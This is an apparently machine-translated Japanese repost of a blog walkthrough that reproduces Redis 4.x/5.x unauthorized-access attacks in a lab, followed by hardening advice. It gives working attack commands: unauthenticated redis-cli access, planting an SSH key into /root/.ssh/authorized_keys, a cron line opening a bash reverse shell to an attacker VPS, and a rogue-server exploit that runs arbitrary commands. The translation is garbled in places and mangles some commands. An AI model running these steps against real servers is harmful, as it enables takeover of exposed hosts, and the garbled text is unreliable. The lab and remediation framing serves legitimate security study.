Redis 4.x /5.xの不正アクセスの脆弱性

Redisとは何ですか?

Redisは、ANSI C言語で記述された、高性能のKey-Valueストレージシステムであるデータベースです。

Redisの不正アクセスの脆弱性

デフォルトでは、Redisは0.0.0.0:6379にバインドされます。他の信頼できないソースからのIPアクセスを回避するファイアウォールルールの追加など、関連するポリシーが採用されていない場合、Redisサービスはパブリックネットワークに公開されます。パスワード認証の設定(通常は空)は、ターゲットサーバーにアクセスできるときに、ユーザーがRedisにアクセスしてRedisデータを読み取ることを許可されないようにします。

影響を受けるバージョン

影響を受けるバージョンのRedisへの不正アクセスはバージョン4.x / 5.0.5未満です

攻撃手段

1.直接不正アクセス、redisデータベースでの操作
2. SSHキーフリーログイン(マインドマップを使用)
3。条件とアイデアの2番目のポイントと同様のシェルをredisデータベースに書き込みます
4.リバウンドに書き込みますシェル、バウンス時間をバウンスに設定します。
5.既存のexpを使用します

周囲

攻撃マシンは192.168.10.144で、ターゲットマシンは192.168.10.158
です。攻撃マシンとターゲットマシンの両方がredis環境をインストールする必要があります。

攻撃ツールのダウンロード

  • 圧縮パッケージをダウンロードします
    wgethttp://download.redis.io/releases/redis-4.0.11.tar.gz

  • tar -zxvfredis-4.0.11.tar.gzを解凍します
  • コンパイル
    のCDのRedis-4.0.11#スイッチ
    メイク#のコンパイル

接続を使用する場合は、インストールディレクトリに入り、。/の後に実行する必要があります。構成
root @ kali:〜/ redis-4.0.11 / src#。/ redis-cli-hの使用方法を確認できます。

ただし、
ここに画像の説明を挿入します
解決策はroot @ kali:〜#sudo cp redis-4.0.11 / src / redis-cli / usr / local / bin /
(redis-cliにグローバル権限を付与する)
もちろん、すべてのディレクトリが異なるため、次のように分析します。あなた自身の状況
ここに画像の説明を挿入します

ターゲットマシンの脆弱性環境の準備:(vulhubが構築されています)

root @ kali:〜/ vulhub / redis / 4-unacc#docker-compose up -dこれ
ここに画像の説明を挿入します
までのところ、環境は構築されています


攻撃機の攻撃的再発(1)

単なる脆弱性マイニングの場合は、シェルを深く理解するのではなく、以下の手順に従ってください。
ターゲットマシンの6379redisポートをプローブします
root @ kali:〜#nmap -p 6379 -script redis-info 192.168.10.158
ここに画像の説明を挿入します

  • 不正アクセス接続

root @ kali:〜#redis-cli -h 192.168.10.158
図に示すように、ターゲットマシンのredisデータベースが接続されており、いくつかのデータベース操作を実行できます。

ここに画像の説明を挿入します
redisデータベースの一部の操作

dbsize 查看所有key的数目
flushdb 删除当前选择数据库中的所有key
flushall 删除所有数据库中的所有key
save: 将数据同步保存到磁盘
bgsave: 异步保存
lastsave: 上次成功保存到磁盘的Unix时间戳
info: 查询server信息
config: 配置server
slaveof: 改变复制策略设置

  
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

方法2:(root権限が必要)sshをインポートし、フェイスキーでログインします(失敗しました)

攻撃者は空のパスワード
root @ kali:〜#ssh-keygen -t rsa for sshを
生成します。ご覧のとおり、生成されたパスワードは/.sshディレクトリに保存さ
ここに画像の説明を挿入します
れ、.ssh /ディレクトリに切り替えられます。そのrsaは実際に生成されたキーです。キーをテキスト
root @ kali:〜/ .ssh#にコピーする必要があります(echo -e“ \ n \ n”; cat id_rsa.pub; echo -e“ \ n \ n” )> AuFeng.txt
ここに画像の説明を挿入します
テキストをターゲットマシンに送信します
root @ kali:〜/ .ssh#cat AuFeng.txt | redis-cli -h 192.168.10.158 -x set ok
ここに画像の説明を挿入します

次に、ターゲットマシンのredisにログインし、root
/.sshへのパスを変更します。redis-cli-h192.168.10.158Config
set dirパスを変更すると、次のエラーの問題が見つかり、redisがで開始されていないことを示します。ルート権限であり、パスを変更することはできません。この場合、脆弱性は使用できません。
ここに画像の説明を挿入します

方法はありません
ここに画像の説明を挿入します
。sudoを使用してターゲットマシンで脆弱な環境を起動しますが、それでも失敗します。ここでは、redisがルート権限で操作されている場合の一般的な考え方についてのみ説明します。
ここに画像の説明を挿入します
記事を参照してください:https:// www .freebuf.com / vuls / 162035 .html


この記事は5月に私が書いたもので、現在は7月18日です。攻撃的および防御的な演習のため、redisが許可されていないという知識を補足する必要があることに気づき、自分のサーバーにredis環境をセットアップしました。それについて考えました。Redisの不正な脆弱性を回避する方法

方法2:sshをインポートし、キーなしでログインします(実際の戦闘で成功します)

(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > AuFeng.txt

  
   
   
  • 1

ここに画像の説明を挿入します
root @ kali:〜/ .ssh#cat AuFeng.txt | redis-cli -h target ip -x set crack
OK
ここに画像の説明を挿入します
最初にdirをパス/root/.sshに設定します。ここで、パブリックとキーはsshによって生成されます。次にアップロードします。ファイルauthorized_keysに設定してから、保存しても問題ありません。なぜこのように設定されているのですか?通常、sshがpublicおよびkeyを生成するためのパスは、/ root / .sshディレクトリにあります。通常、SSHキーレスログインは、認証ログインのファイルとして/root/.sshにあるauthorized_keysです。
ここに画像の説明を挿入します

最後のステップを保存することを忘れないでください、それは非常に重要です。

キーレスログインを実現
ここに画像の説明を挿入します


方法3:スケジュールされたタスクを使用してコマンドを実行し、シェルを逆にします(root権限が必要です)

ターゲットサーバーがsshを使用しておらず、/。sshディレクトリがない場合もありますが、setを使用してルート権限であることが証明できるため、スケジュールされたタスクを使用してコマンドを実行しシェルを元に戻す
ここに画像の説明を挿入します
ことができます。

/var/spool/cron/このディレクトリは、各ユーザー自身の実行プランを区別するためのアカウントに基づいています
。rootユーザーは/var/spool/cron/以下にrootファイル作成します。

set  xx   "\n* * * * * bash -i >& /dev/tcp/自己vps的ip/1234 0>&1\n"

  
   
   
  • 1

ここに画像の説明を挿入します
ここに画像の説明を挿入します

方法4既存のexpを使用して、リモートコマンド実行を実行します(root以外の特権)

Redisへの不正アクセス4.x / 5.0.5より前のバージョンでは、マスター/スレーブモードを使用してリモートモジュールをロードし、ダイナミックリンクライブラリを介して任意のコマンドを実行できます。

手順は次のとおりです。最初にexpをダウンロードします。

root@kali:~# git clone https://github.com/vulhub/redis-rogue-getshell

  
   
   
  • 1

次に、コンパイルのためにRedisModulesSDK /ディレクトリに入ります

root@kali:~/redis-rogue-getshell# cd RedisModulesSDK/
root@kali:~/redis-rogue-getshell/RedisModulesSDK# make

  
   
   
  • 1
  • 2

最後にexpを直接ヒット

root@kali:~/redis-rogue-getshell/RedisModulesSDK# python3 redis-master.py -r 192.168.10.158 -p 6379 -L 192.168.10.144 -P 8888 -f RedisModulesSDK/exp.so -c "id"

  
   
   
  • 1

redis操作の許可がrootではないことがわかります。
ここに画像の説明を挿入します

後悔:

環境設定の問題で多くの時間を浪費し、最終的には実行許可の問題(まだ解決されていない)のために、sshキーレスログインの使用とredisリバースシェルの実現を再現することができませんでした。
参考記事(https://www.freebuf.com/column/158065.html


修理計画(redisを再起動して有効にする)

再起動は非常に重要です。電源を切ってから再起動できるわけではありません。正常に再起動するには、次の操作が必要です。

[root@localhost src]# ./redis-server ../redis.conf

  
   
   
  • 1

修復操作は次のとおりです。

redis構成ファイルredis.confip
bindingを入力し、ローカル以外のホストがredisサービスにリモートでログインすることを許可しないでください。#コメントを削除してください。
ここに画像の説明を挿入します

保護モードを開き、redisサービスへのリモート接続を許可しません。noをyesに
ここに画像の説明を挿入します
変更します。デフォルトのポートを変更します。
ここに画像の説明を挿入します
低い権限でRedisサービスを実行します(redisを再起動して有効にします)。Redisにパスワード認証を追加することを実際に体験し
てください(redisを再起動します)。有効にする)

おすすめ

転載: blog.csdn.net/weixin_44110913/article/details/109487914